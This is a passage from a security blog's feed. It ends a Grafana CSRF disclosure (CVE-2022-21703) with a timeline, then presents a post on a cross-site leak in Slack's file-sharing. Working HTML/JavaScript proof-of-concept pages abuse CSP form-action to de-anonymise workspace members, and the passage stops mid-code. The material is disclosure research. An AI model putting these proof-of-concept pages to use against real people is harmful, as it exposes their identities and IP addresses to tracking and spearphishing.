</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">errors</span>.<span style="color:#a6e22e">Add</span>([]<span style="color:#66d9ef">string</span>{}, <span style="color:#a6e22e">ERR_CONTENT_TYPE</span>, <span style="color:#e6db74">&#34;Empty Content-Type&#34;</span>)
</span></span><span style="display:flex;"><span>      } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">errors</span>.<span style="color:#a6e22e">Add</span>([]<span style="color:#66d9ef">string</span>{}, <span style="color:#a6e22e">ERR_CONTENT_TYPE</span>, <span style="color:#e6db74">&#34;Unsupported Content-Type&#34;</span>)
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">Map</span>(<span style="color:#a6e22e">errors</span>)
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">Map</span>(<span style="color:#a6e22e">obj</span>) <span style="color:#75715e">// Map a fake struct so handler won&#39;t panic.</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">Invoke</span>(<span style="color:#a6e22e">Form</span>(<span style="color:#a6e22e">obj</span>, <span style="color:#a6e22e">ifacePtr</span><span style="color:#f92672">...</span>))
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
<p>Observe (at lines 9-10) that a request
whose content type merely <em>contains</em> the string <code>json</code> gets accepted and
that JSON deserialisation of the request&rsquo;s body proceeds normally.
Go developers, if you need to validate the <code>Content-Type</code> header,
do favour the more specialised <a href="https://pkg.go.dev/mime#ParseMediaType" target="_blank" rel="noopener"><code>mime.ParseMediaType</code> function</a>
over <a href="https://pkg.go.dev/strings" target="_blank" rel="noopener"><code>strings.Contains</code> and friends</a>!</p>
<p>Note: <a href="https://github.com/grafana/grafana/releases/tag/v8.3.3" target="_blank" rel="noopener">Grafana v8.3.3</a> actually ripped out
<a href="https://github.com/go-macaron/binding" target="_blank" rel="noopener">go-macaron/binding</a> altogether from its codebase,
and <a href="https://github.com/grafana/grafana/blob/dc57bcd458076c72035f9955bcf84bc93af8d4e7/pkg/web/binding.go#L13" target="_blank" rel="noopener">doesn&rsquo;t perform <em>any</em> validation of requests&rsquo; content-type</a>.
Even easier for attackers!</p>
<h3 id="timeline">Timeline <a href="#timeline">¶</a></h3>
<ul>
<li><strong>November 2021</strong>: beginning of my collaboration with abrahack</li>
<li><strong>late December 2021</strong>: first working proof of concept for cross-origin request forgery against Grafana</li>
<li><strong>early January 2022</strong>: We research the attack&rsquo;s viability against bug-bounty targets.</li>
<li><strong>18th of January 2022</strong>:
<ul>
<li>We share our findings with Grafana Labs.</li>
<li>We file a report to Gitlab&rsquo;s bug-bounty programme on HackerOne.</li>
<li>Grafana Labs acknowledges our report and kindly ask us not to disclose our findings
until they have a fix in their pipeline.</li>
</ul>
</li>
<li><strong>20th of January 2022</strong>: Grafana Labs notify us that they have requested <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21703" target="_blank" rel="noopener">CVE-2022-21703</a>.</li>
<li><strong>21st of January 2022</strong>:
<ul>
<li>We enlist <a href="https://galnagli.com" target="_blank" rel="noopener">Nagli</a>&rsquo;s help to find more viable targets.</li>
<li>We escalate the attack to full account takeover on Gitlab, which we <a href="https://www.youtube.com/watch?v=evzQFCPUxbg" target="_blank" rel="noopener">report to them</a>.</li>
<li>Gitlab closes our report as &ldquo;informative&rdquo; 🤷</li>
</ul>
</li>
<li><strong>8th of February 2022</strong>:
<ul>
<li>Grafana Labs <a href="https://grafana.com/blog/2022/02/08/grafana-7.5.15-and-8.3.5-released-with-moderate-severity-security-fixes/" target="_blank" rel="noopener">release</a> a security fix for CVE-2022-21703
in <a href="https://github.com/grafana/grafana/releases/tag/v7.5.15" target="_blank" rel="noopener">Grafana v7.5.15</a> and <a href="https://github.com/grafana/grafana/releases/tag/v8.3.5" target="_blank" rel="noopener">v8.3.5</a>.</li>
<li>Publication of the present blog post.</li>
<li>We resume notifying bug-bounty targets.</li>
</ul>
</li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>Abusing Slack&#39;s file-sharing functionality to de-anonymise fellow workspace members</title>
            <link>//jub0bs.com/posts/2021-10-12-xsleak-slack/</link>
            <pubDate>Tue, 12 Oct 2021 09:00:00 +0000</pubDate>
            
            <guid>//jub0bs.com/posts/2021-10-12-xsleak-slack/</guid>
            <description>&lt;p&gt;In this post, I show how a malicious member of a Slack workspace can exploit
a cross-site leak in Slack&amp;rsquo;s file-sharing functionality in order to efficiently
de-anonymise fellow workspace members when they visit the attacker&amp;rsquo;s website
in Chromium-based browsers.&lt;/p&gt;
&lt;h2 id=&#34;tldr&#34;&gt;TL;DR &lt;a href=&#34;#tldr&#34;&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;I discovered a navigation-related XSLeak technique that resists &lt;code&gt;SameSite=Lax&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Slack&amp;rsquo;s Web client suffers from a cross-site leak
linked to its file-sharing functionality.&lt;/li&gt;
&lt;li&gt;An attacker can de-anonymise a fellow member of their Slack workspace
among &lt;code&gt;n&lt;/code&gt; others in no more than &lt;code&gt;O(log n)&lt;/code&gt; HTTP requests.&lt;/li&gt;
&lt;li&gt;Impact includes leaking the victim&amp;rsquo;s IP address and browser fingerprint,
as well as facilitating spearphishing attacks.&lt;/li&gt;
&lt;li&gt;Slack has no plans to fix it.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;cross-site-leaks&#34;&gt;Cross-site leaks &lt;a href=&#34;#cross-site-leaks&#34;&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href=&#34;https://en.wikipedia.org/wiki/Side-channel_attack&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Side-channels attacks&lt;/a&gt; are fascinating.
You may remember how, back in 2014, MIT researchers were able to
&lt;a href=&#34;http://people.csail.mit.edu/mrub/VisualMic/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;partially recover speech&lt;/a&gt;
from the footage captured by a high-speed camera trained on a bag of crisps.
Though usually much less spectacular,
similar attacks are possible within Web browsers.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>In this post, I show how a malicious member of a Slack workspace can exploit
a cross-site leak in Slack&rsquo;s file-sharing functionality in order to efficiently
de-anonymise fellow workspace members when they visit the attacker&rsquo;s website
in Chromium-based browsers.</p>
<h2 id="tldr">TL;DR <a href="#tldr">¶</a></h2>
<ul>
<li>I discovered a navigation-related XSLeak technique that resists <code>SameSite=Lax</code>.</li>
<li>Slack&rsquo;s Web client suffers from a cross-site leak
linked to its file-sharing functionality.</li>
<li>An attacker can de-anonymise a fellow member of their Slack workspace
among <code>n</code> others in no more than <code>O(log n)</code> HTTP requests.</li>
<li>Impact includes leaking the victim&rsquo;s IP address and browser fingerprint,
as well as facilitating spearphishing attacks.</li>
<li>Slack has no plans to fix it.</li>
</ul>
<h2 id="cross-site-leaks">Cross-site leaks <a href="#cross-site-leaks">¶</a></h2>
<p><a href="https://en.wikipedia.org/wiki/Side-channel_attack" target="_blank" rel="noopener">Side-channels attacks</a> are fascinating.
You may remember how, back in 2014, MIT researchers were able to
<a href="http://people.csail.mit.edu/mrub/VisualMic/" target="_blank" rel="noopener">partially recover speech</a>
from the footage captured by a high-speed camera trained on a bag of crisps.
Though usually much less spectacular,
similar attacks are possible within Web browsers.</p>
<p>The <a href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy" target="_blank" rel="noopener">Same-Origin Policy</a>, browser security&rsquo;s cornerstone,
does provide tight isolation between different <a href="https://developer.mozilla.org/en-US/docs/Glossary/Origin" target="_blank" rel="noopener">Web origins</a>,
and further isolation mechanisms have been implemented over the years;
but security researchers have demonstrated,
<a href="http://homakov.blogspot.com/2014/01/using-content-security-policy-for-evil.html" target="_blank" rel="noopener">time</a> and <a href="https://www.youtube.com/watch?v=s5w4RG7-Y6g" target="_blank" rel="noopener">time again</a>, that
the barrier between origins is in practice more porous than meets the eye.
The techniques consisting in working around the SOP to leak data from one origin
to another are collectively known as <a href="https://xsleaks.dev/" target="_blank" rel="noopener"><em>cross-site leaks</em></a>,
or <em>XSLeaks</em> for short.</p>
<p>Bug-bounty hunters, don&rsquo;t get too excited:
you likely won&rsquo;t get rich quickly by making XSLeaks the focus of your infosec
work.  Many bug-bounty programmes outright dismiss the impact of XSLeaks as
negligible, whereas others, such as <a href="https://sites.google.com/site/bughunteruniversity/nonvuln/xsleaks" target="_blank" rel="noopener">Google&rsquo;s</a> and <a href="https://hackerone.com/reports/505424#activity-4861989" target="_blank" rel="noopener">the blue site that
shall not be named&rsquo;s</a>, reward reports of XSLeaks only on a
case-by-case basis.</p>
<p>Nevertheless, the study of XSLeaks is interesting in its own right,
because it naturally leads to a deeper understanding of browser misfeatures
and implementation quirks.</p>
<h2 id="leaky-images">Leaky images <a href="#leaky-images">¶</a></h2>
<p>A few months ago, as I was catching up on the latest research about XSLeaks,
my eye fell upon some interesting research conducted at TU Darmstadt
by <a href="https://www.staicu.org/" target="_blank" rel="noopener">Staicu</a> and <a href="https://software-lab.org/people/Michael_Pradel.html" target="_blank" rel="noopener">Pradel</a>,
which they <a href="https://www.youtube.com/watch?v=VLkeUHICRpA" target="_blank" rel="noopener">presented at USENIX in 2019</a>.
The <a href="https://www.usenix.org/conference/usenixsecurity19/presentation/staicu" target="_blank" rel="noopener">paper</a>,
entitled <em>Leaky Images: Targeted Privacy Attacks in the Web</em>,
demonstrates how, under certain conditions, attackers can abuse a service&rsquo;s
image-sharing functionality for de-anonymising users across origins.
Indeed, if the service in question</p>
<ul>
<li>relies on cookies for session management, and</li>
<li>allows authenticated access to a shared image via the same URL
to all parties concerned,</li>
</ul>
<p>then an attacker who knows the resulting URL can abuse it
as some kind of tracker or <a href="https://en.wikipedia.org/wiki/Web_beacon" target="_blank" rel="noopener"><em>Web beacon</em></a>.</p>
<p>Although the attacker doesn&rsquo;t control the server at the end of that URL,
a malicious page of their design can act as an oracle for questions like</p>
<blockquote>
<p>Is the current visitor of the malicious page logged in as @alice?</p>
</blockquote>
<p>All the malicious page has to do is forge requests to one or more shared images
and somehow detect, through XSLeak techniques, whether access by the current
visitor was successful.</p>
<p>This privacy attack is more powerful, in terms of stealth and scalability,
than simply sharing some unique link in a direct message (DM) to the victim and
waiting for her to visit the URL:
unless she&rsquo;s tech-savvy and inspects the source code of the malicious page,
the victim is unlikely to realise that the malicious page&rsquo;s objective is to
de-anonymise her on some unrelated service;
moreover, the attack can often be optimised to target a large number of users
without having to share many images or forge many HTTP requests.</p>
<p>The Leaky Images paper reviewed several prominent sites that provide an
image-sharing functionality, and concluded that alarmingly many of them,
including Facebook, <a href="https://hackerone.com/reports/329957" target="_blank" rel="noopener">the blue site that shall not be named</a>,
Google, and Microsoft Live, were vulnerable to this kind of privacy attacks.</p>
<h2 id="leaky-resources-on-slack">Leaky resources on Slack <a href="#leaky-resources-on-slack">¶</a></h2>
<p>As I was reading the Leaky Images paper, I realised that it omitted one
popular messaging service that provides a Web client
and allows its users to share images: <a href="https://slack.com" target="_blank" rel="noopener">Slack</a>.
After a short investigation in one of my dummy Slack workspaces, I came to the
conclusion that Slack&rsquo;s Web client too is vulnerable to leaky-image attacks—or rather
<a href="https://web.njit.edu/~crix/publications/Leakuidator.pdf" target="_blank" rel="noopener"><em>leaky-resource attacks</em></a>,
as the resources shared by the attacker with their victims on Slack need not be images.</p>
<p>Indeed, when Mallory (the attacker) shares a file named <code>foo.txt</code>
in a DM to Alice (their victim),
Slack generates a URL of the following form,</p>
<pre tabindex="0"><code>https://files.slack.com/files-pri/TXXXXXXXX-FAAAAAAAAAA/download/foo.txt
</code></pre><p>where <code>TXXXXXXXX</code> stands for the team/workspace ID
and <code>FAAAAAAAAAA</code> stands for the file ID.
What happens when one visits the URL in question depends on one&rsquo;s browser state:</p>
<ul>
<li>If either Alice or Mallory visit the URL when they&rsquo;re logged
into the Slack workspace in question,
a download of the shared file is triggered in their browser.</li>
<li>If some authenticated user other than Alice or Mallory visits the URL,
a <code>302</code> HTTP redirect loop (from the download URL to
<code>https://TEAM_SUBDOMAIN.slack.com/?redir=%2Ffiles-pri%2FTXXXXXXXX-FAAAAAAAAAA%2Ffoo.txt</code>
to the download URL, and so on and so forth) occurs,
which the browser soon cuts short.</li>
<li>If some anonymous visitor accesses the URL,
they simply get redirected to
<code>https://TEAM_SUBDOMAIN.slack.com/?redir=%2Ffiles-pri%2FTXXXXXXXX-FAAAAAAAAAA%2Ffoo.txt</code>.</li>
</ul>
<p>Mallory can leverage this state-dependent behaviour to infer
whether the current visitor of their malicious page is Alice.</p>
<h3 id="bypassing-samesite-defences">Bypassing SameSite defences <a href="#bypassing-samesite-defences">¶</a></h3>
<p>One difficulty in producing a proof of concept is that, because Slack&rsquo;s session
identifier consists of a cookie (named <code>d</code>) that is marked <code>SameSite=Lax</code>,
the shared resource can only be accessed via a <a href="https://datatracker.ietf.org/doc/html/draft-ietf-httpbis-rfc6265bis#name-top-level-navigations" target="_blank" rel="noopener">top-level navigation</a>,
and not via JavaScript.
Therefore, Mallory must rely solely on top-level navigations, as
no other cross-site request to the URL will carry that <code>d</code> cookie.</p>
<p>But there&rsquo;s always a way! Mallory&rsquo;s malicious page can simply update
the <code>window.location</code> variable and sleep for a short while, to leave enough
time for the server to respond.
If anyone other than Mallory or Alice visits Mallory&rsquo;s page,
their browser will simply follow the redirect before the sleep is over.
In contrast, if Alice visits Mallory&rsquo;s page while authenticated to Slack,
her browser will initiate a download of the shared file
instead of navigating away from Mallory&rsquo;s page,
and the remainder of the JavaScript code on the page
will notify Mallory of Alice&rsquo;s visit.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#75715e">&lt;!doctype html&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">charset</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;utf-8&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">sleep</span>() {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">ms</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">10000</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">new</span> Promise(<span style="color:#a6e22e">resolve</span> =&gt; <span style="color:#a6e22e">setTimeout</span>(<span style="color:#a6e22e">resolve</span>, <span style="color:#a6e22e">ms</span>));
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">notifyOfVisitByAlice</span>() {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">h1</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">createElement</span>(<span style="color:#e6db74">&#34;h1&#34;</span>);
</span></span><span style="display:flex;"><span>        document.<span style="color:#a6e22e">body</span>.<span style="color:#a6e22e">appendChild</span>(<span style="color:#a6e22e">h1</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">h1</span>.<span style="color:#a6e22e">innerText</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">`Hi there, Alice!`</span>;
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">async</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">test</span>() {
</span></span><span style="display:flex;"><span>        window.<span style="color:#a6e22e">location</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;https://files.slack.com/files-pri/TXXXXXXXXXX-FAAAAAAAAAA/download/foo.txt&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">sleep</span>();
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">notifyOfVisitByAlice</span>();
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">test</span>();
</span></span><span style="display:flex;"><span>    &lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">html</span>&gt;
</span></span></code></pre></div><p>Of course, in practice, the <code>notifyOfVisitByAlice</code> function would consist
in sending a request to some server that Mallory controls rather than changing
the DOM, but you get the idea.</p>
<h2 id="targeting-multiple-users">Targeting multiple users <a href="#targeting-multiple-users">¶</a></h2>
<p>Targeting a single user is a bit boring, though.
Could the de-anonymisation attack instead target multiple Slack users,
who would get de-anonymised through a single visit to their malicious page?
One issue with the approach outlined above is that,
in the case where no download gets triggered, a redirect occurs instead,
taking the victim away
and robbing the malicious page of the opportunity to issue further requests.</p>
<p>I needed a way of somehow &ldquo;cancelling&rdquo; top-level navigations.
Where should I look first?
The <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP" target="_blank" rel="noopener">Content-Security-Policy (CSP)</a> <a href="https://www.w3.org/TR/CSP3/" target="_blank" rel="noopener">specification</a>
does suggest that a <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/navigate-to" target="_blank" rel="noopener">directive named <code>navigate-to</code></a>
would do the trick,
but none of the prominent browsers have elected to ship it.
Faced with a dead end, I shelved my investigation for a while,
until I discovered a useful XSLeak technique&hellip;</p>
<h3 id="a-novel-xsleak-technique-to-the-rescue">A novel XSLeak technique to the rescue <a href="#a-novel-xsleak-technique-to-the-rescue">¶</a></h3>
<p>Surprisingly perhaps, a GET-based HTML-form submission counts as a
top-level navigation; as such, it carries cookies marked <code>SameSite=Lax</code>.
Besides, Content Security Policy provides a way of defining an allowlist for
form submissions through the use of its <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/form-action" target="_blank" rel="noopener"><code>form-action</code> directive</a>;
and, in Chromium-based browsers
(<a href="https://wpt.fyi/results/content-security-policy/form-action/form-action-src-redirect-blocked.sub.html?run_id=5694712078925824&amp;run_id=5066726120095744&amp;run_id=5733191831781376&amp;run_id=5716967106281472" target="_blank" rel="noopener">as opposed to Firefox and Safari</a>),
that directive happens to be
<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/form-action" target="_blank" rel="noopener">enforced even on HTTP redirects</a>.</p>
<p>Putting this all together:
a third-party site can detect the occurence of a cross-origin server-side redirect,
even if this redirect requires, in order to occur,
the presence of some <code>SameSite=Lax</code> cookie in the initial request.
I&rsquo;ve since <a href="https://github.com/xsleaks/wiki/pull/119" target="_blank" rel="noopener">documented</a> this technique on <a href="https://xsleaks.dev/" target="_blank" rel="noopener">xsleaks.dev</a>.
Prior research about abusing CSP to leak data to another origin does exist,
including <a href="http://homakov.blogspot.com/2014/01/using-content-security-policy-for-evil.html" target="_blank" rel="noopener">Egor Homakov&rsquo;s</a>, awesome as always.
Unless I&rsquo;m missing something, though,
abusing <code>form-action</code> as described in this post is a novel technique.</p>
<p>Here is how I refined my initial proof of concept:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#75715e">&lt;!doctype html&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">charset</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;utf-8&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">http-equiv</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Content-Security-Policy&#34;</span>
</span></span><span style="display:flex;"><span>          <span style="color:#a6e22e">content</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;form-action https://files.slack.com&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">form</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;myForm&#34;</span>
</span></span><span style="display:flex;"><span>          <span style="color:#a6e22e">action</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https://files.slack.com/files-pri/TXXXXXXXXXX-FAAAAAAAAAA/download/foo.txt&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;/<span style="color:#f92672">form</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">sleep</span>() {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">ms</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1000</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">new</span> Promise(<span style="color:#a6e22e">resolve</span> =&gt; <span style="color:#a6e22e">setTimeout</span>(<span style="color:#a6e22e">resolve</span>, <span style="color:#a6e22e">ms</span>));
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">notifyOfVisitByAlice</span>() {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">h1</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">createElement</span>(<span style="color:#e6db74">&#34;h1&#34;</span>);
</span></span><span style="display:flex;"><span>        document.<span style="color:#a6e22e">body</span>.<span style="color:#a6e22e">appendChild</span>(<span style="color:#a6e22e">h1</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">h1</span>.<span style="color:#a6e22e">innerText</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">`Hi there, Alice!`</span>;
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">browserIsNotSupported</span>() {
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// see https://developer.mozilla.org/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent
</span></span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">navigator</span>.<span style="color:#a6e22e">userAgent</span>.<span style="color:#a6e22e">includes</span>(<span style="color:#e6db74">&#39;Firefox/&#39;</span>) <span style="color:#f92672">&amp;&amp;</span>
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">!</span><span style="color:#a6e22e">navigator</span>.<span style="color:#a6e22e">userAgent</span>.<span style="color:#a6e22e">includes</span>(<span style="color:#e6db74">&#39;Seamonkey/&#39;</span>) <span style="color:#f92672">||</span>
</span></span><span style="display:flex;"><span>          <span style="color:#a6e22e">navigator</span>.<span style="color:#a6e22e">userAgent</span>.<span style="color:#a6e22e">includes</span>(<span style="color:#e6db74">&#39;Safari/&#39;</span>) <span style="color:#f92672">&amp;&amp;</span>
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">!</span><span style="color:#a6e22e">navigator</span>.<span style="color:#a6e22e">userAgent</span>.<span style="color:#a6e22e">includes</span>(<span style="color:#e6db74">&#39;Chrome/&#39;</span>) <span style="color:#f92672">&amp;&amp;</span>
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">!</span><span style="color:#a6e22e">navigator</span>.<span style="color:#a6e22e">userAgent</span>.<span style="color:#a6e22e">includes</span>(<span style="color:#e6db74">&#39;Chromium/&#39;</span>);
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">async</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">test</span>() {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">browserIsNotSupported</span>()) {
</span></span><span style="display:flex;"><span>          <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">violation</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">false</span>;
</span></span><span style="display:flex;"><span>        window.<span style="color:#a6e22e">addEventListener</span>(<span style="color:#e6db74">&#39;securitypolicyviolation&#39;</span>, () =&gt; {
</span></span><span style="display:flex;"><span>          <span style="color:#a6e22e">violation</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">true</span>;
</span></span><span style="display:flex;"><span>        });
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">myForm</span>.<span style="color:#a6e22e">submit</span>();
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">sleep</span>();
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">violation</span>) {
</span></span><span style="display:flex;"><span>          <span style="color:#a6e22e">notifyOfVisitByAlice</span>();
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">test</span>();
</span></span><span style="display:flex;"><span>    &lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">html</span>&gt;
</span></span></code></pre></div><p>I could then readily adapt my proof of concept to target multiple users;
in this case, Alice and Bob:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#75715e">&lt;!doctype html&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">charset</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;utf-8&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">http-equiv</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Content-Security-Policy&#34;</span>
</span></span><span style="display:flex;"><span>          <span style="color:#a6e22e">content</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;form-action https://files.slack.com&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">form</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;myForm&#34;</span>&gt;&lt;/<span style="color:#f92672">form</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">trackers</span> <span style="color:#f92672">=</span> [
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>          <span style="color:#e6db74">&#34;url&#34;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;https://files.slack.com/files-pri/TXXXXXXXXXX-FAAAAAAAAAA/download/foo.txt&#34;</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#e6db74">&#34;username&#34;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;Alice&#34;</span>
</span></span><span style="display:flex;"><span>        },{
</span></span><span style="display:flex;"><span>          <span style="color:#e6db74">&#34;url&#34;</span><span style="color:#f92672">:</span><span style="color:#e6db74">&#34;https://files.slack.com/files-pri/TXXXXXXXXXX-FBBBBBBBBBBB/download/foo.txt&#34;</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#e6db74">&#34;username&#34;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;Bob&#34;</span>
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>      ];
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">sleep</span>() {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">ms</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1000</span>;
